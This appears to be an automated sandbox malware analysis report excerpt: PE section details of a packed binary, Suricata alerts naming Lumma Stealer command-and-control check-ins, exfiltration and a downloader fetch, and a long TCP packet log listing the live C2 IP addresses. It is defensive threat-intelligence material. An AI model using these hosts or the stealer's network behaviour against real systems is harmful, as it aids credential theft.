.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2a2000	0x200	3799a35d007a1eb169b4c84cbacc9f5f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pfmhduhf	0x2fa000	0x196000	0x195e00	ad351114e41689f592e49f2cc21e7db4	False	0.9945520624807515	data	7.953387252323094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cvlipfeo	0x490000	0x1000	0x600	7b8018ad043282bbd2a9dcbdd9603673	False	0.55859375	data	4.884942370018772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x491000	0x3000	0x2200	a2f39cacd9de832d78c9f97e87bdc5a1	False	0.07306985294117647	DOS executable (COM)	0.9496249115214371	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T19:14:02.633161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-19T19:14:03.092592+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-19T19:14:03.092592+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-19T19:14:03.614531+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-19T19:14:04.032419+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-19T19:14:04.032419+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-19T19:14:04.739034+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-19T19:14:05.464671+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-19T19:14:06.121468+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-19T19:14:07.477192+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-19T19:14:10.166003+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-19T19:14:11.580388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-19T19:14:16.360117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-19T19:14:16.789899+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-19T19:14:17.502329+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49738	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:14:02.105094910 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.105148077 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:02.105236053 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.129359007 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.129395008 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:02.633059025 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:02.633161068 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.637820005 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.637876034 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:02.638298988 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:02.685807943 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.713586092 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.713645935 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:02.713941097 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.092628002 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.092731953 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.092798948 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.094397068 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.094422102 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.094435930 CET	49730	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.094441891 CET	443	49730	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.156259060 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.156347036 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.156446934 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.156827927 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.156864882 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.614444017 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.614531040 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.616477013 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.616492987 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.616776943 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.618092060 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.618201017 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:03.618221045 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:03.763897896 CET	49675	443	192.168.2.4	173.222.162.32
Nov 19, 2024 19:14:04.032530069 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.032759905 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.032851934 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.032872915 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.032917023 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033023119 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.033061981 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033159971 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033225060 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.033241034 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033361912 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033427954 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.033442974 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033544064 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.033759117 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.033772945 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.076384068 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.076400995 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118455887 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118594885 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118659973 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.118693113 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118746996 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.118757963 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118865013 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.118921995 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.119091034 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.119112015 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.119127989 CET	49731	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.119134903 CET	443	49731	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.245476007 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.245584011 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.245688915 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.246062994 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.246100903 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.738923073 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.739033937 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.740367889 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.740398884 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.740861893 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.742932081 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.743088961 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.743132114 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:04.743211985 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:04.743227005 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:05.464646101 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:05.464752913 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:05.464855909 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:05.545594931 CET	49732	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:05.545686960 CET	443	49732	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:05.660547018 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:05.660603046 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:05.660866976 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:05.661142111 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:05.661156893 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.121403933 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.121468067 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.126950979 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.126960993 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.127219915 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.129548073 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.129745007 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.129762888 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.765974998 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.766217947 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:06.766397953 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.766670942 CET	49733	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:06.766693115 CET	443	49733	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.015146971 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.015289068 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.015799999 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.015799999 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.015883923 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.477112055 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.477191925 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.479018927 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.479034901 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.479273081 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.480453014 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.480619907 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.480653048 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:07.480716944 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:07.480725050 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:09.237996101 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:09.238298893 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:09.238382101 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:09.242146969 CET	49734	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:09.242186069 CET	443	49734	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:09.689542055 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:09.689594030 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:09.689681053 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:09.690192938 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:09.690212011 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.165878057 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.166002989 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:10.167421103 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:10.167445898 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.167762995 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.169100046 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:10.169209003 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:10.169229031 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.593103886 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.593355894 CET	443	49735	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:10.593509912 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:10.593555927 CET	49735	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.114408970 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.114466906 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.114568949 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.114896059 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.114911079 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.580250978 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.580388069 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.582320929 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.582335949 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.582704067 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.590454102 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.591552973 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.591607094 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.591718912 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.591753960 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.591862917 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.591912031 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.592056990 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.592082024 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.592227936 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.592274904 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.592410088 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.592442989 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.592453957 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.592597961 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.592633963 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602114916 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.602264881 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602296114 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.602308989 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602325916 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.602334976 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602344036 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.602431059 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602480888 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.602510929 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.606980085 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:11.607042074 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:11.607067108 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:15.857794046 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:15.857889891 CET	443	49736	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:15.858032942 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:15.858066082 CET	49736	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:15.898997068 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:15.899041891 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:15.899123907 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:15.899472952 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:15.899485111 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.359988928 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.360116959 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.361705065 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.361717939 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.362045050 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.363374949 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.363374949 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.363446951 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.789906979 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.790009022 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.790473938 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.790473938 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.792336941 CET	49737	443	192.168.2.4	188.114.96.3
Nov 19, 2024 19:14:16.792356968 CET	443	49737	188.114.96.3	192.168.2.4
Nov 19, 2024 19:14:16.801703930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:16.806623936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:16.808923006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:16.826153040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:16.831099987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.502242088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.502255917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.502329111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.502939939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.502980947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.502989054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.503015995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.503043890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.503112078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.503601074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.503618002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.503627062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.503664017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.504482985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.504796982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.507148981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.507232904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.507241964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.507380009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.507541895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.507602930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.589783907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.589797974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.589936972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.630240917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.630271912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.630280018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.630357981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.631964922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.631973982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.631990910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.631999016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632006884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632040024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.632327080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.632569075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632584095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632606983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632615089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632627010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.632627964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632637024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632659912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632667065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632672071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.632674932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632684946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632690907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632698059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632698059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.632708073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.632764101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.633526087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.633574009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.633577108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.633584023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.633650064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.633681059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.633688927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.633740902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.635199070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.635207891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.635281086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.717046022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.717080116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.717093945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.717135906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.753967047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754030943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754049063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754071951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754081964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.754136086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.754492044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754540920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754559040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.754571915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.754663944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.755223036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.755253077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.755269051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.755306005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.755306959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:17.755352974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:17.755681038 CET	80	49738	185.215.113.16	192.168.2.4
